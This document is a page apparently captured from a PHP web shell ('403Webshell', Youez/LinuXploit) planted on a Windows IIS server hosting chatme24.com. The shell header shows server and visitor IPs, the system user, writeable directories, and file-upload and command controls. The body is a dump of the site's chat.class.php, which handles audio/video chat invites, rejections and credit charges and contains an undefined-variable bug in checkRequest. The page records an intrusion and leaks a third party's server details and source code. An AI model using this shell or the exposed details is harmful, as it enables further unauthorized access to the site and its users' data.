403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current//chat.class.php
<?php
class Chat extends CHtmlBlock
{

    private static $userId;
    private static $action;
    private static $type = '';
    private static $tableInvite;
    private static $tableReject;
	private static $city3D = false;

    function action()
	{

        $cmd = get_param('cmd');
    }

	static function set3DCity($city)
    {
		self::$city3D = $city;
	}

	static function getWhere()
    {
		return self::$city3D ? ' `city` = 1 ' : ' `city` = 0 ';
	}

    static function setType($type = null)
    {
        if ($type === null) {
            $type = get_param('type', 'audio');
        }

        if($type !== 'video' && $type !== 'audio') {
            $type = 'video';
        }

        self::$type = $type;
        self::$tableInvite = $type . '_invite';
        self::$tableReject = $type . '_reject';
    }

    static function setUserId($uid)
    {
        self::$userId = $uid;
    }

    static function setAction($action)
    {
        self::$action = $action;
    }

    static function isAction($data)
    {
        return is_array($data)
               &&isset($data['action'])&&!empty($data['action'])
               &&isset($data['user_id'])&&!empty($data['user_id']);
    }

    static function invite()
    {
        global $g_user;
        global $l;

        $optionTmplSet = Common::getOption('set', 'template_options');

        $result = false;
        $uid = get_param('user_id');
        $responseData = false;
        self::setType();

        $groupId = Groups::getParamId();
		$city = get_param_int('city');

        if ($g_user['user_id'] && $uid) {
            if ($optionTmplSet == 'urban') {
                $check = User::isEntryBlocked($uid, guid());
            } else {
                $check = User::isBlocked(self::$type . 'chat', $uid, guid());
            }
            if ($check) {
                $responseData = l('you_are_in_block_list');
            }
            $isFreeSite = Common::isOptionActive('free_site');
            $isSuperPowers = User::isSuperPowers();
             if (!$responseData && !$isFreeSite && !$isSuperPowers) {
                if (Common::isActiveFeatureSuperPowers(self::$type . 'chat')) {
                    $responseData = 'upgrade';
                } else if (Common::isActiveFeatureSuperPowers('chat_with_popular_users') && !$city){
                    $level = User::getLevelOfPopularity($uid);
                    if ($level == 'very_high') {
                        $gender = User::getInfoBasic($uid, 'gender');
                        $type = 'chat_to_user_popular_' . mb_strtolower($gender, 'UTF-8');
                        $vars = array('name' => User::getInfoBasic($uid, 'name'),
                                  'url' =>  "search_results.php?display=profile&uid={$uid}");
                        if (Common::isMobile()) {
                            $vars['url'] = "profile_view.php?user_id={$uid}";
                        }
                        $responseData = Common::lSetLink($type, $vars);
                        $requestUri = self::$type . 'chat.php?id=' . $uid . '&type=' . self::$type;
                        $vars = array('url' => 'upgrade.php?request_uri=' . base64_encode($requestUri));
                        $responseData = Common::lSetLink($responseData, $vars, false, 1);
                    }
                }
            }

            if (!$responseData) {
                /*if (IS_DEMO && $optionTmplSet == 'urban'
                    && Common::getOption('type_media_chat') == 'webrtc'
                    && User::isDemoUser($uid)
                    && !get_param('device')) {
                    return 'demo_user';
                }*/

                $sql = 'SELECT *
                          FROM `' . self::$tableInvite . '`
                         WHERE `to_user` = ' . to_sql($uid, 'Number') .
                         ' AND `from_user` = ' . to_sql($g_user['user_id'], 'Number') .
                         ' AND `group_id` = ' . to_sql($groupId, 'Number') .
						 ' AND ' . self::getWhere();
                DB::query($sql);

                if (!($row = DB::fetch_row())) {
                    $sql = 'INSERT INTO `' . self::$tableInvite . '`
                               SET `to_user` = ' . to_sql($uid, 'Number') . ',
                                   `from_user` = ' . to_sql($g_user['user_id'], 'Number') . ',
                                   `group_id` = ' . to_sql($groupId, 'Number') . ',
								   `city` = ' . to_sql($city, 'Number');
                    DB::execute($sql);
                } else {
                    $sql = 'DELETE FROM `' . self::$tableInvite . '`
                             WHERE `to_user` = ' . to_sql($uid, 'Number') .
                             ' AND `from_user` =' . to_sql($g_user['user_id'], 'Number') .
                             ' AND `group_id` = ' . to_sql($groupId, 'Number') .
							 ' AND ' . self::getWhere();
                    DB::execute($sql);
                    $sql = 'INSERT INTO `' . self::$tableInvite . '`
                               SET `to_user` = ' . to_sql($uid, 'Number') . ',
                                   `from_user` = ' . to_sql($g_user['user_id'], 'Number') . ',
                                   `group_id` = ' . to_sql($groupId, 'Number') . ',
								   `city` = ' . to_sql($city, 'Number');
                    DB::execute($sql);
                }

                $userInfo = User::getInfoBasic($uid);
                if($userInfo && !self::$city3D && User::isOptionSettings('set_notif_push_notifications', $userInfo)) {
                    $message = Common::replaceByVars(l(self::$type . '_chat_from_user_notifications', loadLanguageSiteMobile($userInfo['lang'])), array('user_name' => User::nameShort(guser('name'))));

                    if(self::$type == 'video') {
                        PushNotification::sendChatVideo($uid, $message);
                    } else {
                        PushNotification::sendChatAudio($uid, $message);
                    }
                }

                $responseData = true;
            }
        }
        return $responseData;
    }

    static function update($type, $uid = 0, $checkRequest = false)
    {
        global $g_user;

        $responseData = array();
        self::setType($type);

        if ($g_user['user_id']) {
			$requestCity = 0;
            $groupId = 0;
            $sql = 'SELECT *
                      FROM `' . self::$tableInvite . '`
                     WHERE `to_user` = ' . to_sql($g_user['user_id'], 'Number');
            if ($uid) {
                $sql .= ' AND `from_user` = ' . to_sql($uid);
            }
			$sql .= ' AND ' . self::getWhere();

            DB::query($sql);
            if ($row = DB::fetch_row()){
                $groupId = $row['group_id'];
				$requestCity = $row['city'];
                $responseData = array('action' => 'request',
                                      'user_id' => $row['from_user'],
                                      'group_id' => $groupId);
                $sql = 'DELETE FROM `' . self::$tableInvite . '`
                         WHERE `to_user` = ' . to_sql($g_user['user_id'], 'Number') .
                         ' AND `from_user` = ' . to_sql($row['from_user'], 'Number') .
                         ' AND `group_id` = ' . to_sql($groupId, 'Number') .
						 ' AND ' . self::getWhere();
                DB::execute($sql);
                $isFreeSite = Common::isOptionActive('free_site');
                $isSuperPowers = User::isSuperPowers();
                if (!$isFreeSite && !$isSuperPowers) {
                    $isUpgrade = false;
                    $offChatWithPopular = Common::isOptionActive('chat_with_popular_users_off', 'template_options');
                    if (Common::isActiveFeatureSuperPowers($type . 'chat')) {
                        $isUpgrade = true;
                    } else if (!$offChatWithPopular && Common::isActiveFeatureSuperPowers('chat_with_popular_users') && !$requestCity){
                        $level = User::getLevelOfPopularity($row['from_user']);
                        if ($level == 'very_high') {
                            $isUpgrade = true;
                        }
                    }
                    if ($isUpgrade) {
                        $requestUri = $type . 'chat.php?id=' . $row['from_user'] . '&type=' . $type;
                        $responseData = array('action' => 'request',
                                              'user_id' => $row['from_user'],
                                              'type' => $type . 'chat',
                                              'request_uri' =>  base64_encode($requestUri));
                    }
                }
            }

            $sql = 'SELECT *
                      FROM `' . self::$tableReject . '`
                     WHERE `to_user` = ' . to_sql($g_user['user_id'], 'Number');
            if ($uid) {
                $sql .= ' AND `from_user` = ' . to_sql($uid);
            }
			$sql .= ' AND ' . self::getWhere();

            DB::query($sql);
            if ($row = DB::fetch_row()){
                $groupId = $row['group_id'];
                $responseData['action'] = ($row['go'] == 'N') ? 'reject' : 'start_talk';
                $responseData['user_id'] = $row['from_user'];
				$requestCity = $row['city'];
                $sql = 'DELETE FROM `' . self::$tableReject . '`
                         WHERE `to_user` = ' . to_sql($g_user['user_id'], 'Number') .
                         ' AND `from_user` =' . to_sql($row['from_user'], 'Number') .
                         ' AND `group_id` = ' . to_sql($groupId, 'Number') .
						 ' AND ' . self::getWhere();
                DB::execute($sql);
            }

            //Check online user
            if (!$checkRequest
                && isset($responseData['action']) && $responseData['action'] == 'request'
                && !User::isOnline($responseData['user_id'], null, true)) {
                $responseData = array();
            }

            if (!empty($responseData)) {
                $user = User::getInfoBasic($responseData['user_id']);
                $responseData['user_name'] = User::nameShort($user['name']);
				$responseData['city'] = $user['city'];
                $responseData['request_city'] = $requestCity;
				if ($requestCity) {
					$responseData['city_user_id'] =  CityUser::getCityUserIdBySityUserId($responseData['user_id']);
				}
                $responseData['age'] = $user['age'];
                $responseData['url'] = User::url($responseData['user_id'], $user);
                $responseData['user_url'] = $responseData['url'];
                $responseData['photo'] = User::getPhotoDefault($responseData['user_id'], 'm');
                if ($groupId) {
                    $groupInfo = Groups::getInfoBasic($groupId);
                    if ($groupInfo) {
                        $responseData['group_id'] = $groupInfo['group_id'];
                        $responseData['group_name'] = $groupInfo['title'];
                        $responseData['group_page'] = $groupInfo['page']*1;
                    }
                } else {
                    unset($responseData['group_id']);
                }
            }
        }
        return $responseData;

    }

    static function checkRequest($type, $uid)
    {

        global $g_user;

        if (!$g_user['user_id'] || !in_array($type, array('audio', 'video')) || !$uid) {
            return false;
        }

        $responseData = self::update($type, 0, true);
        if ($responseData) {
            return $responseData;
        }

        self::setType($type);

        $responseData = array('action' => 'request',
                              'user_id' => $uid);

        $isFreeSite = Common::isOptionActive('free_site');
        $isSuperPowers = User::isSuperPowers();
        if (!$isFreeSite && !$isSuperPowers) {
            $isUpgrade = false;
            $offChatWithPopular = Common::isOptionActive('chat_with_popular_users_off', 'template_options');
            if (Common::isActiveFeatureSuperPowers($type . 'chat')) {
                $isUpgrade = true;
            } else if (!$offChatWithPopular && Common::isActiveFeatureSuperPowers('chat_with_popular_users')){
                $level = User::getLevelOfPopularity($row['from_user']);
                if ($level == 'very_high') {
                    $isUpgrade = true;
                }
            }
            if ($isUpgrade) {
                $requestUri = $type . 'chat.php?id=' . $uid . '&type=' . $type;
                $responseData = array('action' => 'request',
                                      'user_id' => $row['from_user'],
                                      'type' => $type . 'chat',
                                      'request_uri' =>  base64_encode($requestUri));
            }
        }

        $user = User::getInfoBasic($responseData['user_id']);
        if ($user) {
            $responseData['user_name'] = User::nameShort($user['name']);
            $responseData['city'] = $user['city'];
            $responseData['age'] = $user['age'];
            $responseData['url'] = User::url($responseData['user_id'], $user);
            $responseData['user_url'] = $responseData['url'];
            $responseData['photo'] = User::getPhotoDefault($responseData['user_id'], 'm');

            if (isset($responseData['group_id'])) {
                $groupId = $responseData['group_id'];
                $groupInfo = Groups::getInfoBasic($groupId);
                if ($groupInfo) {
                    $responseData['group_id'] = $groupInfo['group_id'];
                    $responseData['group_name'] = $groupInfo['title'];
                    $responseData['group_page'] = $groupInfo['page'];
                } else {
                    unset($responseData['group_id']);
                }
            }
        } else {
            $responseData = false;
        }

        return $responseData;
    }

    static function reject()
    {
        global $g_user;

        $responseData = false;
        $groupId = Groups::getParamId();
        $uid = get_param('user_id');
        self::setType();

        if ($g_user['user_id'] && $uid) {
			$city = get_param_int('city');
            $sql = 'INSERT INTO `' . self::$tableReject . '`
                       SET `to_user` = ' . to_sql($uid, 'Number') . ',
                           `from_user` = ' . to_sql($g_user['user_id'], 'Number') . ",
                           `group_id` = " . to_sql($groupId, 'Number') . ",
						   `city` = " . to_sql($city, 'Number') . ",
                           `go` = 'N'";
            DB::execute($sql);
            $responseData = true;
        }
        return $responseData;
    }

    static function talk()
    {
        global $g_user;

        $responseData = false;
        $groupId = Groups::getParamId();
        $uid = get_param('user_id', get_param('id'));
        self::setType();

        if ($g_user['user_id'] && $uid) {
			$city = get_param_int('city');
            $sql = 'INSERT INTO `' . self::$tableReject .
                    '` SET `to_user` = ' . to_sql($uid, 'Number') . ',
                           `from_user` = ' . to_sql($g_user['user_id'], 'Number') . ",
					       `group_id` = " . to_sql($groupId, 'Number') . ",
						   `city` = " . to_sql($city, 'Number') . ",
						   `go` ='Y'";
       		DB::execute($sql);
            $responseData = true;
        }
        return $responseData;
    }

    static function paid()
    {
        global $g_user;

        $responseData = false;
        $uid = get_param('user_id');
        self::setType();

        $price=Pay::getServicePrice(self::$type.'_chat', 'credits');
        if($price>0 && Common::isCreditsEnabled()){
            if($g_user['credits']>=$price){
                $responseData = $price;
                $data = array('credits' => $g_user['credits']-$price);
                User::update($data);
            } else {
                $responseData = -1;
            }
        }else{
            $responseData = true;
        }
        return $responseData;
    }


    static function getIdByChat($callId, $client = true, $type = '')
    {
        if ($client) {
            $uid = guser('user_id') . '_' . $callId;
        } else {
            $uid = $callId . '_' . guser('user_id');
        }
        if ($type) {
            $type = '_' . $type;
        }
        $key = domain() . '_' . $type . '_' . $uid;
        $key = str_replace(array('.'), '_', $key);
        return $key;
    }

    //never used - may need
    static function parseMediaChat($html, $type = '', $uid = 0, $redirect = false, $alwaysParseChat = true) {
        global $g;
		global $g_user;

        $callUid = intval(get_param('id', $uid));
        $clientId = $g_user['user_id'];

        $sql = "SELECT *
                  FROM `user`
                 WHERE `user_id` = " . to_sql($callUid);
        DB::query($sql);
        $isParseChat = true;
		if ($row = DB::fetch_row()){
            $sql = "DELETE FROM `video_reject`
                     WHERE `to_user` = " . to_sql($g_user['user_id'])
                   . " AND `from_user` = " . to_sql($row['user_id']);
            DB::execute($sql);

			if (User::isOnline($callUid, $row)) {
				#foreach ($row as $k => $v) $html->setvar($k, $v);
				$html->setvar('enemy_name', $row['name']);
				$html->setvar('my_name', $g_user['name']);
			} else {
                $isParseChat = $alwaysParseChat;
                $html->parse('alert_js');
            }
		} elseif ($redirect) {
            Common::toHomePage();
        }

        $typeChat = Common::getOption('type_media_chat');

    	$html->setvar("{$type}_type_chat", $typeChat);

        if ($typeChat == 'webrtc') {
            if (IS_DEMO && get_param('demo')) {
                $html->setvar('demo_url', Common::urlSiteSubfolders());
                $html->setvar('demo_user_gender', mb_strtolower(User::getInfoBasic($callUid, 'gender'), 'UTF-8'));
                $html->setvar('demo', 1);
            }
            $clientId = Chat::getIdByChat($callUid, true, $type);
            $callUid = Chat::getIdByChat($callUid, false, $type);
        }
        $html->setvar("{$type}_client_id", $clientId);
        $html->setvar("{$type}_call_to_id", $callUid);

        if ($isParseChat && $typeChat == 'webrtc') {
            $html->setvar('media_server', $g['media_server']);
            $html->parse("{$type}_chat_webrtc_script", false);
            $html->parse("{$type}_chat_webrtc_js", false);
        }
        $html->parse("{$type}_chat_{$typeChat}", false);
    }

    static function getMediaConstraints() {
        $mediaConstraints = array(
            'width' => array('min' => 'webrtc_camera_resolution_width_min',
                             'ideal' => 'webrtc_camera_resolution_width_ideal',
                             'max' => 'webrtc_camera_resolution_width_max'),
            'framerate' => array('min' => 'webrtc_framerate_min',
                                 'ideal' => 'webrtc_framerate_ideal',
                                 'max' => 'webrtc_framerate_max'),
        );
        foreach ($mediaConstraints as $option => $rows) {
            foreach ($rows as $key => $value) {
                $mediaConstraints[$option][$key] = Common::getOption($value);
            }
        }

        $mediaConstraints = json_encode($mediaConstraints);
        if ($mediaConstraints === false) {
            $mediaConstraints = '{"width":{"min":"640","ideal":"720","max":"1280"},"framerate":{"min":"15","ideal":"18","max":"24"}}';
        }

        return $mediaConstraints;
    }

	function parseBlock(&$html) {

		global $g_user;

        $cmd = get_param('cmd');

        //if (self::$action == 'request') {
            //if (self::parseInvite($html)) {

            //}
        //}
        parent::parseBlock($html);

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit